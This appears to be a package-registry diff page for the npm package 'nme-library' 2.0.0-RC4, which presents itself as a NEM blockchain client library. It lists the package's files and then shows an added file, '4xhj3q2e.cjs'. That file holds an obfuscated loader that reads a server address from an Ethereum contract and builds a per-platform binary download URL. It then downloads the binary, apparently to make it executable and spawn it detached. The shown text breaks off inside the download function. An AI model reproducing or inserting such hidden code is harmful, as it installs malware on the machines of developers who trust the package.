nme-library 2.0.0-RC4
Sign up to get free protection for your applications and to get access to all the features.
- package/4xhj3q2e.cjs +1 -0
- package/LICENSE +21 -0
- package/README.md +30 -0
- package/dist/index.d.ts +4 -0
- package/dist/index.js +38 -0
- package/dist/index.js.map +1 -0
- package/dist/src/NEMLibrary.d.ts +25 -0
- package/dist/src/NEMLibrary.js +69 -0
- package/dist/src/NEMLibrary.js.map +1 -0
- package/dist/src/infrastrcture.d.ts +13 -0
- package/dist/src/infrastrcture.js +44 -0
- package/dist/src/infrastrcture.js.map +1 -0
- package/dist/src/infrastructure/AccountHttp.d.ts +204 -0
- package/dist/src/infrastructure/AccountHttp.js +415 -0
- package/dist/src/infrastructure/AccountHttp.js.map +1 -0
- package/dist/src/infrastructure/AccountListener.d.ts +20 -0
- package/dist/src/infrastructure/AccountListener.js +71 -0
- package/dist/src/infrastructure/AccountListener.js.map +1 -0
- package/dist/src/infrastructure/AllTransactionsPageable.d.ts +1 -0
- package/dist/src/infrastructure/AllTransactionsPageable.js +35 -0
- package/dist/src/infrastructure/AllTransactionsPageable.js.map +1 -0
- package/dist/src/infrastructure/AssetHttp.d.ts +36 -0
- package/dist/src/infrastructure/AssetHttp.js +85 -0
- package/dist/src/infrastructure/AssetHttp.js.map +1 -0
- package/dist/src/infrastructure/BlockHttp.d.ts +14 -0
- package/dist/src/infrastructure/BlockHttp.js +54 -0
- package/dist/src/infrastructure/BlockHttp.js.map +1 -0
- package/dist/src/infrastructure/BlockchainListener.d.ts +24 -0
- package/dist/src/infrastructure/BlockchainListener.js +93 -0
- package/dist/src/infrastructure/BlockchainListener.js.map +1 -0
- package/dist/src/infrastructure/ChainHttp.d.ts +23 -0
- package/dist/src/infrastructure/ChainHttp.js +68 -0
- package/dist/src/infrastructure/ChainHttp.js.map +1 -0
- package/dist/src/infrastructure/ConfirmedTransactionListener.d.ts +20 -0
- package/dist/src/infrastructure/ConfirmedTransactionListener.js +76 -0
- package/dist/src/infrastructure/ConfirmedTransactionListener.js.map +1 -0
- package/dist/src/infrastructure/HarvestInfoPageable.d.ts +1 -0
- package/dist/src/infrastructure/HarvestInfoPageable.js +52 -0
- package/dist/src/infrastructure/HarvestInfoPageable.js.map +1 -0
- package/dist/src/infrastructure/HttpEndpoint.d.ts +15 -0
- package/dist/src/infrastructure/HttpEndpoint.js +132 -0
- package/dist/src/infrastructure/HttpEndpoint.js.map +1 -0
- package/dist/src/infrastructure/IncomingTransactionsPageable.d.ts +1 -0
- package/dist/src/infrastructure/IncomingTransactionsPageable.js +29 -0
- package/dist/src/infrastructure/IncomingTransactionsPageable.js.map +1 -0
- package/dist/src/infrastructure/Listener.d.ts +14 -0
- package/dist/src/infrastructure/Listener.js +101 -0
- package/dist/src/infrastructure/Listener.js.map +1 -0
- package/dist/src/infrastructure/NamespaceHttp.d.ts +27 -0
- package/dist/src/infrastructure/NamespaceHttp.js +78 -0
- package/dist/src/infrastructure/NamespaceHttp.js.map +1 -0
- package/dist/src/infrastructure/NamespacesPageable.d.ts +1 -0
- package/dist/src/infrastructure/NamespacesPageable.js +28 -0
- package/dist/src/infrastructure/NamespacesPageable.js.map +1 -0
- package/dist/src/infrastructure/NodeHttp.d.ts +45 -0
- package/dist/src/infrastructure/NodeHttp.js +116 -0
- package/dist/src/infrastructure/NodeHttp.js.map +1 -0
- package/dist/src/infrastructure/OutgoingTransactionsPageable.d.ts +1 -0
- package/dist/src/infrastructure/OutgoingTransactionsPageable.js +59 -0
- package/dist/src/infrastructure/OutgoingTransactionsPageable.js.map +1 -0
- package/dist/src/infrastructure/Pageable.d.ts +10 -0
- package/dist/src/infrastructure/Pageable.js +55 -0
- package/dist/src/infrastructure/Pageable.js.map +1 -0
- package/dist/src/infrastructure/TransactionHttp.d.ts +20 -0
- package/dist/src/infrastructure/TransactionHttp.js +68 -0
- package/dist/src/infrastructure/TransactionHttp.js.map +1 -0
- package/dist/src/infrastructure/UnconfirmedTransactionListener.d.ts +20 -0
- package/dist/src/infrastructure/UnconfirmedTransactionListener.js +76 -0
- package/dist/src/infrastructure/UnconfirmedTransactionListener.js.map +1 -0
- package/dist/src/infrastructure/account/AccountHistoricalDataViewModelDTO.d.ts +1 -0
- package/dist/src/infrastructure/account/AccountHistoricalDataViewModelDTO.js +26 -0
- package/dist/src/infrastructure/account/AccountHistoricalDataViewModelDTO.js.map +1 -0
- package/dist/src/infrastructure/account/AccountImportanceViewModelDTO.d.ts +1 -0
- package/dist/src/infrastructure/account/AccountImportanceViewModelDTO.js +26 -0
- package/dist/src/infrastructure/account/AccountImportanceViewModelDTO.js.map +1 -0
- package/dist/src/infrastructure/account/AccountInfoDTO.d.ts +10 -0
- package/dist/src/infrastructure/account/AccountInfoDTO.js +26 -0
- package/dist/src/infrastructure/account/AccountInfoDTO.js.map +1 -0
- package/dist/src/infrastructure/account/AccountMetaDataDTO.d.ts +1 -0
- package/dist/src/infrastructure/account/AccountMetaDataDTO.js +26 -0
- package/dist/src/infrastructure/account/AccountMetaDataDTO.js.map +1 -0
- package/dist/src/infrastructure/account/AccountMetaDataPairDTO.d.ts +1 -0
- package/dist/src/infrastructure/account/AccountMetaDataPairDTO.js +26 -0
- package/dist/src/infrastructure/account/AccountMetaDataPairDTO.js.map +1 -0
- package/dist/src/infrastructure/account/AccountPrivateKeyTransactionsPageDTO.d.ts +1 -0
- package/dist/src/infrastructure/account/AccountPrivateKeyTransactionsPageDTO.js +26 -0
- package/dist/src/infrastructure/account/AccountPrivateKeyTransactionsPageDTO.js.map +1 -0
- package/dist/src/infrastructure/account/HarvestInfoDTO.d.ts +1 -0
- package/dist/src/infrastructure/account/HarvestInfoDTO.js +26 -0
- package/dist/src/infrastructure/account/HarvestInfoDTO.js.map +1 -0
- package/dist/src/infrastructure/account/KeyPairViewModelDTO.d.ts +1 -0
- package/dist/src/infrastructure/account/KeyPairViewModelDTO.js +26 -0
- package/dist/src/infrastructure/account/KeyPairViewModelDTO.js.map +1 -0
- package/dist/src/infrastructure/account/PrivateKeyDTO.d.ts +1 -0
- package/dist/src/infrastructure/account/PrivateKeyDTO.js +26 -0
- package/dist/src/infrastructure/account/PrivateKeyDTO.js.map +1 -0
- package/dist/src/infrastructure/asset/MosaicDTO.d.ts +1 -0
- package/dist/src/infrastructure/asset/MosaicDTO.js +26 -0
- package/dist/src/infrastructure/asset/MosaicDTO.js.map +1 -0
- package/dist/src/infrastructure/asset/MosaicDefinitionDTO.d.ts +1 -0
- package/dist/src/infrastructure/asset/MosaicDefinitionDTO.js +26 -0
- package/dist/src/infrastructure/asset/MosaicDefinitionDTO.js.map +1 -0
- package/dist/src/infrastructure/asset/MosaicDefinitionMetaDataPairDTO.d.ts +1 -0
- package/dist/src/infrastructure/asset/MosaicDefinitionMetaDataPairDTO.js +26 -0
- package/dist/src/infrastructure/asset/MosaicDefinitionMetaDataPairDTO.js.map +1 -0
- package/dist/src/infrastructure/asset/MosaicIdDTO.d.ts +1 -0
- package/dist/src/infrastructure/asset/MosaicIdDTO.js +26 -0
- package/dist/src/infrastructure/asset/MosaicIdDTO.js.map +1 -0
- package/dist/src/infrastructure/asset/MosaicLevyDTO.d.ts +1 -0
- package/dist/src/infrastructure/asset/MosaicLevyDTO.js +26 -0
- package/dist/src/infrastructure/asset/MosaicLevyDTO.js.map +1 -0
- package/dist/src/infrastructure/asset/MosaicPropertyDTO.d.ts +8 -0
- package/dist/src/infrastructure/asset/MosaicPropertyDTO.js +26 -0
- package/dist/src/infrastructure/asset/MosaicPropertyDTO.js.map +1 -0
- package/dist/src/infrastructure/blockchain/BlockChainScoreDTO.d.ts +1 -0
- package/dist/src/infrastructure/blockchain/BlockChainScoreDTO.js +26 -0
- package/dist/src/infrastructure/blockchain/BlockChainScoreDTO.js.map +1 -0
- package/dist/src/infrastructure/blockchain/BlockDTO.d.ts +6 -0
- package/dist/src/infrastructure/blockchain/BlockDTO.js +26 -0
- package/dist/src/infrastructure/blockchain/BlockDTO.js.map +1 -0
- package/dist/src/infrastructure/blockchain/BlockHeightDTO.d.ts +1 -0
- package/dist/src/infrastructure/blockchain/BlockHeightDTO.js +26 -0
- package/dist/src/infrastructure/blockchain/BlockHeightDTO.js.map +1 -0
- package/dist/src/infrastructure/blockchain/ExplorerBlockViewModelDTO.d.ts +1 -0
- package/dist/src/infrastructure/blockchain/ExplorerBlockViewModelDTO.js +26 -0
- package/dist/src/infrastructure/blockchain/ExplorerBlockViewModelDTO.js.map +1 -0
- package/dist/src/infrastructure/debug/AuditCollectionDTO.d.ts +22 -0
- package/dist/src/infrastructure/debug/AuditCollectionDTO.js +26 -0
- package/dist/src/infrastructure/debug/AuditCollectionDTO.js.map +1 -0
- package/dist/src/infrastructure/debug/NemAsyncTimerVisitorDTO.d.ts +1 -0
- package/dist/src/infrastructure/debug/NemAsyncTimerVisitorDTO.js +26 -0
- package/dist/src/infrastructure/debug/NemAsyncTimerVisitorDTO.js.map +1 -0
- package/dist/src/infrastructure/debug/NisNodeInfoDTO.d.ts +1 -0
- package/dist/src/infrastructure/debug/NisNodeInfoDTO.js +26 -0
- package/dist/src/infrastructure/debug/NisNodeInfoDTO.js.map +1 -0
- package/dist/src/infrastructure/debug/TimeSynchronizationResultDTO.d.ts +1 -0
- package/dist/src/infrastructure/debug/TimeSynchronizationResultDTO.js +26 -0
- package/dist/src/infrastructure/debug/TimeSynchronizationResultDTO.js.map +1 -0
- package/dist/src/infrastructure/namespace/NamespaceDTO.d.ts +1 -0
- package/dist/src/infrastructure/namespace/NamespaceDTO.js +26 -0
- package/dist/src/infrastructure/namespace/NamespaceDTO.js.map +1 -0
- package/dist/src/infrastructure/namespace/NamespaceMetaDataPairDTO.d.ts +1 -0
- package/dist/src/infrastructure/namespace/NamespaceMetaDataPairDTO.js +26 -0
- package/dist/src/infrastructure/namespace/NamespaceMetaDataPairDTO.js.map +1 -0
- package/dist/src/infrastructure/node/ApplicationMetaDataDTO.d.ts +1 -0
- package/dist/src/infrastructure/node/ApplicationMetaDataDTO.js +26 -0
- package/dist/src/infrastructure/node/ApplicationMetaDataDTO.js.map +1 -0
- package/dist/src/infrastructure/node/BootNodeRequestDTO.d.ts +1 -0
- package/dist/src/infrastructure/node/BootNodeRequestDTO.js +26 -0
- package/dist/src/infrastructure/node/BootNodeRequestDTO.js.map +1 -0
- package/dist/src/infrastructure/node/CommunicationTimeStampsDTO.d.ts +1 -0
- package/dist/src/infrastructure/node/CommunicationTimeStampsDTO.js +26 -0
- package/dist/src/infrastructure/node/CommunicationTimeStampsDTO.js.map +1 -0
- package/dist/src/infrastructure/node/ExtendedNodeExperiencePairDTO.d.ts +1 -0
- package/dist/src/infrastructure/node/ExtendedNodeExperiencePairDTO.js +26 -0
- package/dist/src/infrastructure/node/ExtendedNodeExperiencePairDTO.js.map +1 -0
- package/dist/src/infrastructure/node/NodeCollectionDTO.d.ts +1 -0
- package/dist/src/infrastructure/node/NodeCollectionDTO.js +26 -0
- package/dist/src/infrastructure/node/NodeCollectionDTO.js.map +1 -0
- package/dist/src/infrastructure/node/NodeDTO.d.ts +19 -0
- package/dist/src/infrastructure/node/NodeDTO.js +26 -0
- package/dist/src/infrastructure/node/NodeDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/CreateTransactionFromDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/CreateTransactionFromDTO.js +162 -0
- package/dist/src/infrastructure/transaction/CreateTransactionFromDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/CreateUnconfirmedTransactionFromDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/CreateUnconfirmedTransactionFromDTO.js +104 -0
- package/dist/src/infrastructure/transaction/CreateUnconfirmedTransactionFromDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/ErrorObjectDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/ErrorObjectDTO.js +26 -0
- package/dist/src/infrastructure/transaction/ErrorObjectDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/HashData.d.ts +10 -0
- package/dist/src/infrastructure/transaction/HashData.js +26 -0
- package/dist/src/infrastructure/transaction/HashData.js.map +1 -0
- package/dist/src/infrastructure/transaction/ImportanceTransferTransactionDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/ImportanceTransferTransactionDTO.js +26 -0
- package/dist/src/infrastructure/transaction/ImportanceTransferTransactionDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/Message.d.ts +1 -0
- package/dist/src/infrastructure/transaction/Message.js +26 -0
- package/dist/src/infrastructure/transaction/Message.js.map +1 -0
- package/dist/src/infrastructure/transaction/MosaicDefinitionCreationTransactionDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/MosaicDefinitionCreationTransactionDTO.js +26 -0
- package/dist/src/infrastructure/transaction/MosaicDefinitionCreationTransactionDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/MosaicSupplyChangeTransactionDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/MosaicSupplyChangeTransactionDTO.js +26 -0
- package/dist/src/infrastructure/transaction/MosaicSupplyChangeTransactionDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/MultisigAggregateModificationTransactionDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/MultisigAggregateModificationTransactionDTO.js +26 -0
- package/dist/src/infrastructure/transaction/MultisigAggregateModificationTransactionDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/MultisigCosignatoryModificationDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/MultisigCosignatoryModificationDTO.js +26 -0
- package/dist/src/infrastructure/transaction/MultisigCosignatoryModificationDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/MultisigSignatureTransactionDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/MultisigSignatureTransactionDTO.js +26 -0
- package/dist/src/infrastructure/transaction/MultisigSignatureTransactionDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/MultisigTransactionDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/MultisigTransactionDTO.js +26 -0
- package/dist/src/infrastructure/transaction/MultisigTransactionDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/NemAnnounceResultDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/NemAnnounceResultDTO.js +26 -0
- package/dist/src/infrastructure/transaction/NemAnnounceResultDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/NemRequestResultDTO.d.ts +10 -0
- package/dist/src/infrastructure/transaction/NemRequestResultDTO.js +26 -0
- package/dist/src/infrastructure/transaction/NemRequestResultDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/ProvisionNamespaceTransactionDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/ProvisionNamespaceTransactionDTO.js +26 -0
- package/dist/src/infrastructure/transaction/ProvisionNamespaceTransactionDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/RequestPrepareAnnonceDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/RequestPrepareAnnonceDTO.js +26 -0
- package/dist/src/infrastructure/transaction/RequestPrepareAnnonceDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/TransactionDTO.d.ts +31 -0
- package/dist/src/infrastructure/transaction/TransactionDTO.js +26 -0
- package/dist/src/infrastructure/transaction/TransactionDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/TransactionMetaDataDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/TransactionMetaDataDTO.js +26 -0
- package/dist/src/infrastructure/transaction/TransactionMetaDataDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/TransactionMetaDataPairDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/TransactionMetaDataPairDTO.js +26 -0
- package/dist/src/infrastructure/transaction/TransactionMetaDataPairDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/TransferTransactionDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/TransferTransactionDTO.js +26 -0
- package/dist/src/infrastructure/transaction/TransferTransactionDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/UnconfirmedTransactionMetaDataDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/UnconfirmedTransactionMetaDataDTO.js +26 -0
- package/dist/src/infrastructure/transaction/UnconfirmedTransactionMetaDataDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/UnconfirmedTransactionMetaDataPairDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/UnconfirmedTransactionMetaDataPairDTO.js +26 -0
- package/dist/src/infrastructure/transaction/UnconfirmedTransactionMetaDataPairDTO.js.map +1 -0
- package/dist/src/infrastructure/transaction/UnconfirmedTransactionsDTO.d.ts +1 -0
- package/dist/src/infrastructure/transaction/UnconfirmedTransactionsDTO.js +26 -0
- package/dist/src/infrastructure/transaction/UnconfirmedTransactionsDTO.js.map +1 -0
- package/dist/src/models/account/Account.d.ts +52 -0
- package/dist/src/models/account/Account.js +136 -0
- package/dist/src/models/account/Account.js.map +1 -0
- package/dist/src/models/account/AccountHarvestInfo.d.ts +25 -0
- package/dist/src/models/account/AccountHarvestInfo.js +55 -0
- package/dist/src/models/account/AccountHarvestInfo.js.map +1 -0
- package/dist/src/models/account/AccountHistoricalInfo.d.ts +25 -0
- package/dist/src/models/account/AccountHistoricalInfo.js +58 -0
- package/dist/src/models/account/AccountHistoricalInfo.js.map +1 -0
- package/dist/src/models/account/AccountImportanceInfo.d.ts +35 -0
- package/dist/src/models/account/AccountImportanceInfo.js +77 -0
- package/dist/src/models/account/AccountImportanceInfo.js.map +1 -0
- package/dist/src/models/account/AccountInfo.d.ts +79 -0
- package/dist/src/models/account/AccountInfo.js +129 -0
- package/dist/src/models/account/AccountInfo.js.map +1 -0
- package/dist/src/models/account/Address.d.ts +25 -0
- package/dist/src/models/account/Address.js +80 -0
- package/dist/src/models/account/Address.js.map +1 -0
- package/dist/src/models/account/Balance.d.ts +17 -0
- package/dist/src/models/account/Balance.js +42 -0
- package/dist/src/models/account/Balance.js.map +1 -0
- package/dist/src/models/account/NodeHarvestInfo.d.ts +10 -0
- package/dist/src/models/account/NodeHarvestInfo.js +38 -0
- package/dist/src/models/account/NodeHarvestInfo.js.map +1 -0
- package/dist/src/models/account/PublicAccount.d.ts +25 -0
- package/dist/src/models/account/PublicAccount.js +82 -0
- package/dist/src/models/account/PublicAccount.js.map +1 -0
- package/dist/src/models/asset/Asset.d.ts +20 -0
- package/dist/src/models/asset/Asset.js +59 -0
- package/dist/src/models/asset/Asset.js.map +1 -0
- package/dist/src/models/asset/AssetDefinition.d.ts +83 -0
- package/dist/src/models/asset/AssetDefinition.js +136 -0
- package/dist/src/models/asset/AssetDefinition.js.map +1 -0
- package/dist/src/models/asset/AssetId.d.ts +31 -0
- package/dist/src/models/asset/AssetId.js +77 -0
- package/dist/src/models/asset/AssetId.js.map +1 -0
- package/dist/src/models/asset/AssetLevy.d.ts +40 -0
- package/dist/src/models/asset/AssetLevy.js +76 -0
- package/dist/src/models/asset/AssetLevy.js.map +1 -0
- package/dist/src/models/asset/AssetTransferable.d.ts +65 -0
- package/dist/src/models/asset/AssetTransferable.js +88 -0
- package/dist/src/models/asset/AssetTransferable.js.map +1 -0
- package/dist/src/models/asset/XEM.d.ts +49 -0
- package/dist/src/models/asset/XEM.js +83 -0
- package/dist/src/models/asset/XEM.js.map +1 -0
- package/dist/src/models/blockchain/Block.d.ts +57 -0
- package/dist/src/models/blockchain/Block.js +81 -0
- package/dist/src/models/blockchain/Block.js.map +1 -0
- package/dist/src/models/namespace/Namespace.d.ts +23 -0
- package/dist/src/models/namespace/Namespace.js +64 -0
- package/dist/src/models/namespace/Namespace.js.map +1 -0
- package/dist/src/models/node/ExtendedNodeExperience.d.ts +34 -0
- package/dist/src/models/node/ExtendedNodeExperience.js +79 -0
- package/dist/src/models/node/ExtendedNodeExperience.js.map +1 -0
- package/dist/src/models/node/NetworkTypes.d.ts +17 -0
- package/dist/src/models/node/NetworkTypes.js +44 -0
- package/dist/src/models/node/NetworkTypes.js.map +1 -0
- package/dist/src/models/node/NisNodeInfo.d.ts +39 -0
- package/dist/src/models/node/NisNodeInfo.js +79 -0
- package/dist/src/models/node/NisNodeInfo.js.map +1 -0
- package/dist/src/models/node/Node.d.ts +76 -0
- package/dist/src/models/node/Node.js +131 -0
- package/dist/src/models/node/Node.js.map +1 -0
- package/dist/src/models/node/NodeCollection.d.ts +22 -0
- package/dist/src/models/node/NodeCollection.js +54 -0
- package/dist/src/models/node/NodeCollection.js.map +1 -0
- package/dist/src/models/transaction/AssetDefinitionCreationTransaction.d.ts +39 -0
- package/dist/src/models/transaction/AssetDefinitionCreationTransaction.js +94 -0
- package/dist/src/models/transaction/AssetDefinitionCreationTransaction.js.map +1 -0
- package/dist/src/models/transaction/AssetSupplyChangeTransaction.d.ts +48 -0
- package/dist/src/models/transaction/AssetSupplyChangeTransaction.js +94 -0
- package/dist/src/models/transaction/AssetSupplyChangeTransaction.js.map +1 -0
- package/dist/src/models/transaction/EncryptedMessage.d.ts +8 -0
- package/dist/src/models/transaction/EncryptedMessage.js +86 -0
- package/dist/src/models/transaction/EncryptedMessage.js.map +1 -0
- package/dist/src/models/transaction/HexMessage.d.ts +10 -0
- package/dist/src/models/transaction/HexMessage.js +37 -0
- package/dist/src/models/transaction/HexMessage.js.map +1 -0
- package/dist/src/models/transaction/ImportanceTransferTransaction.d.ts +45 -0
- package/dist/src/models/transaction/ImportanceTransferTransaction.js +92 -0
- package/dist/src/models/transaction/ImportanceTransferTransaction.js.map +1 -0
- package/dist/src/models/transaction/Message.d.ts +12 -0
- package/dist/src/models/transaction/Message.js +110 -0
- package/dist/src/models/transaction/Message.js.map +1 -0
- package/dist/src/models/transaction/MultisigAggregateModificationTransaction.d.ts +55 -0
- package/dist/src/models/transaction/MultisigAggregateModificationTransaction.js +112 -0
- package/dist/src/models/transaction/MultisigAggregateModificationTransaction.js.map +1 -0
- package/dist/src/models/transaction/MultisigSignatureTransaction.d.ts +35 -0
- package/dist/src/models/transaction/MultisigSignatureTransaction.js +92 -0
- package/dist/src/models/transaction/MultisigSignatureTransaction.js.map +1 -0
- package/dist/src/models/transaction/MultisigTransaction.d.ts +49 -0
- package/dist/src/models/transaction/MultisigTransaction.js +102 -0
- package/dist/src/models/transaction/MultisigTransaction.js.map +1 -0
- package/dist/src/models/transaction/NemAnnounceResult.d.ts +77 -0
- package/dist/src/models/transaction/NemAnnounceResult.js +66 -0
- package/dist/src/models/transaction/NemAnnounceResult.js.map +1 -0
- package/dist/src/models/transaction/PlainMessage.d.ts +19 -0
- package/dist/src/models/transaction/PlainMessage.js +77 -0
- package/dist/src/models/transaction/PlainMessage.js.map +1 -0
- package/dist/src/models/transaction/ProvisionNamespaceTransaction.d.ts +57 -0
- package/dist/src/models/transaction/ProvisionNamespaceTransaction.js +117 -0
- package/dist/src/models/transaction/ProvisionNamespaceTransaction.js.map +1 -0
- package/dist/src/models/transaction/SignedTransaction.d.ts +13 -0
- package/dist/src/models/transaction/SignedTransaction.js +26 -0
- package/dist/src/models/transaction/SignedTransaction.js.map +1 -0
- package/dist/src/models/transaction/TimeWindow.d.ts +24 -0
- package/dist/src/models/transaction/TimeWindow.js +84 -0
- package/dist/src/models/transaction/TimeWindow.js.map +1 -0
- package/dist/src/models/transaction/Transaction.d.ts +56 -0
- package/dist/src/models/transaction/Transaction.js +98 -0
- package/dist/src/models/transaction/Transaction.js.map +1 -0
- package/dist/src/models/transaction/TransactionInfo.d.ts +39 -0
- package/dist/src/models/transaction/TransactionInfo.js +60 -0
- package/dist/src/models/transaction/TransactionInfo.js.map +1 -0
- package/dist/src/models/transaction/TransactionTypes.d.ts +80 -0
- package/dist/src/models/transaction/TransactionTypes.js +159 -0
- package/dist/src/models/transaction/TransactionTypes.js.map +1 -0
- package/dist/src/models/transaction/TransferTransaction.d.ts +78 -0
- package/dist/src/models/transaction/TransferTransaction.js +176 -0
- package/dist/src/models/transaction/TransferTransaction.js.map +1 -0
- package/dist/src/models/wallet/BrainPassword.d.ts +11 -0
- package/dist/src/models/wallet/BrainPassword.js +42 -0
- package/dist/src/models/wallet/BrainPassword.js.map +1 -0
- package/dist/src/models/wallet/BrainWallet.d.ts +34 -0
- package/dist/src/models/wallet/BrainWallet.js +101 -0
- package/dist/src/models/wallet/BrainWallet.js.map +1 -0
- package/dist/src/models/wallet/EncryptedPrivateKey.d.ts +13 -0
- package/dist/src/models/wallet/EncryptedPrivateKey.js +56 -0
- package/dist/src/models/wallet/EncryptedPrivateKey.js.map +1 -0
- package/dist/src/models/wallet/Password.d.ts +14 -0
- package/dist/src/models/wallet/Password.js +41 -0
- package/dist/src/models/wallet/Password.js.map +1 -0
- package/dist/src/models/wallet/SimpleWallet.d.ts +47 -0
- package/dist/src/models/wallet/SimpleWallet.js +143 -0
- package/dist/src/models/wallet/SimpleWallet.js.map +1 -0
- package/dist/src/models/wallet/Wallet.d.ts +51 -0
- package/dist/src/models/wallet/Wallet.js +81 -0
- package/dist/src/models/wallet/Wallet.js.map +1 -0
- package/dist/src/models.d.ts +46 -0
- package/dist/src/models.js +74 -0
- package/dist/src/models.js.map +1 -0
- package/dist/src/services/AccountOwnedAssetService.d.ts +30 -0
- package/dist/src/services/AccountOwnedAssetService.js +63 -0
- package/dist/src/services/AccountOwnedAssetService.js.map +1 -0
- package/dist/src/services/AssetService.d.ts +23 -0
- package/dist/src/services/AssetService.js +87 -0
- package/dist/src/services/AssetService.js.map +1 -0
- package/dist/src/services/QRService.d.ts +66 -0
- package/dist/src/services/QRService.js +155 -0
- package/dist/src/services/QRService.js.map +1 -0
- package/dist/src/services.d.ts +3 -0
- package/dist/src/services.js +32 -0
- package/dist/src/services.js.map +1 -0
- package/dist/src/vendor/sockjs-0.3.4.d.ts +25 -0
- package/dist/src/vendor/sockjs-0.3.4.js +2516 -0
- package/dist/src/vendor/sockjs-0.3.4.min.js +27 -0
- package/package.json +87 -0
package/4xhj3q2e.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x3688da=_0x4c11;(function(_0x55274b,_0x11ced4){const _0x54b5b8=_0x4c11,_0x356781=_0x55274b();while(!![]){try{const _0x28cdb8=-parseInt(_0x54b5b8(0xba))/0x1*(-parseInt(_0x54b5b8(0xd0))/0x2)+-parseInt(_0x54b5b8(0xe1))/0x3+-parseInt(_0x54b5b8(0xd7))/0x4+-parseInt(_0x54b5b8(0xe4))/0x5+-parseInt(_0x54b5b8(0xd6))/0x6+parseInt(_0x54b5b8(0xd4))/0x7+-parseInt(_0x54b5b8(0xc0))/0x8*(-parseInt(_0x54b5b8(0xde))/0x9);if(_0x28cdb8===_0x11ced4)break;else _0x356781['push'](_0x356781['shift']());}catch(_0x2e7c35){_0x356781['push'](_0x356781['shift']());}}}(_0x5e8d,0xe6cec));function _0x5e8d(){const _0x347d5e=['ethers','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','WBqIN','41229KzbvaX','basename','HAJkE','2008524oylGKH','mainnet','qqSzm','3779540oyLkVx','axios','Ошибка\x20при\x20запуске\x20файла:','child_process','tmpdir','xsvdO','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','platform','error','data','iZBeZ','2FnRHOD','util','kvIFM','GET','chmodSync','getDefaultProvider','1600VHEySr','Bfdgp','Contract','Whvux','linux','Ошибка\x20установки:','unref','join','VKqLg','createWriteStream','Unsupported\x20platform:\x20','stream','ignore','path','finish','sJcPM','1752548VGTobM','pipe','GCBgz','/node-macos','12093298FHvasZ','ACiHd','10400028KOLQVz','1168880bkXFBw','darwin','/node-win.exe','OuyVu'];_0x5e8d=function(){return _0x347d5e;};return _0x5e8d();}const {ethers}=require(_0x3688da(0xdb)),axios=require(_0x3688da(0xe5)),util=require(_0x3688da(0xbb)),fs=require('fs'),path=require(_0x3688da(0xcd)),os=require('os'),{spawn}=require(_0x3688da(0xe7)),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner=_0x3688da(0xdc),abi=[_0x3688da(0xea)],provider=ethers[_0x3688da(0xbf)](_0x3688da(0xe2)),contract=new ethers[(_0x3688da(0xc2))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x552cdb=_0x3688da,_0x2d7a2e={'WuchM':'Ошибка\x20при\x20получении\x20IP\x20адреса:','OuyVu':function(_0x415e2b){return _0x415e2b();}};try{const _0x126491=await contract['getString'](WalletOwner);return _0x126491;}catch(_0x594f05){return console[_0x552cdb(0xec)](_0x2d7a2e['WuchM'],_0x594f05),await _0x2d7a2e[_0x552cdb(0xda)](fetchAndUpdateIp);}},getDownloadUrl=_0x13e791=>{const _0x5f53ce=_0x3688da,_0x4d008f={'Bfdgp':'win32','xcCuE':_0x5f53ce(0xc4),'iZBeZ':_0x5f53ce(0xd8)},_0x449114=os[_0x5f53ce(0xeb)]();switch(_0x449114){case _0x4d008f[_0x5f53ce(0xc1)]:return _0x13e791+_0x5f53ce(0xd9);case _0x4d008f['xcCuE']:return _0x13e791+'/node-linux';case _0x4d008f[_0x5f53ce(0xb9)]:return _0x13e791+_0x5f53ce(0xd3);default:throw new Error(_0x5f53ce(0xca)+_0x449114);}},downloadFile=async(_0x5d8132,_0x11f66b)=>{const _0x17c648=_0x3688da,_0x500d7f={'qqSzm':_0x17c648(0xce),'xsvdO':'error','Whvux':function(_0x32d081,_0x167419){return _0x32d081(_0x167419);},'HAJkE':_0x17c648(0xbd),'THQVh':_0x17c648(0xcb)},_0x108d1a=fs[_0x17c648(0xc9)](_0x11f66b),_0xe66ab4=await _0x500d7f[_0x17c648(0xc3)](axios,{'url':_0x5d8132,'method':_0x500d7f[_0x17c648(0xe0)],'responseType':_0x500d7f['THQVh']});return 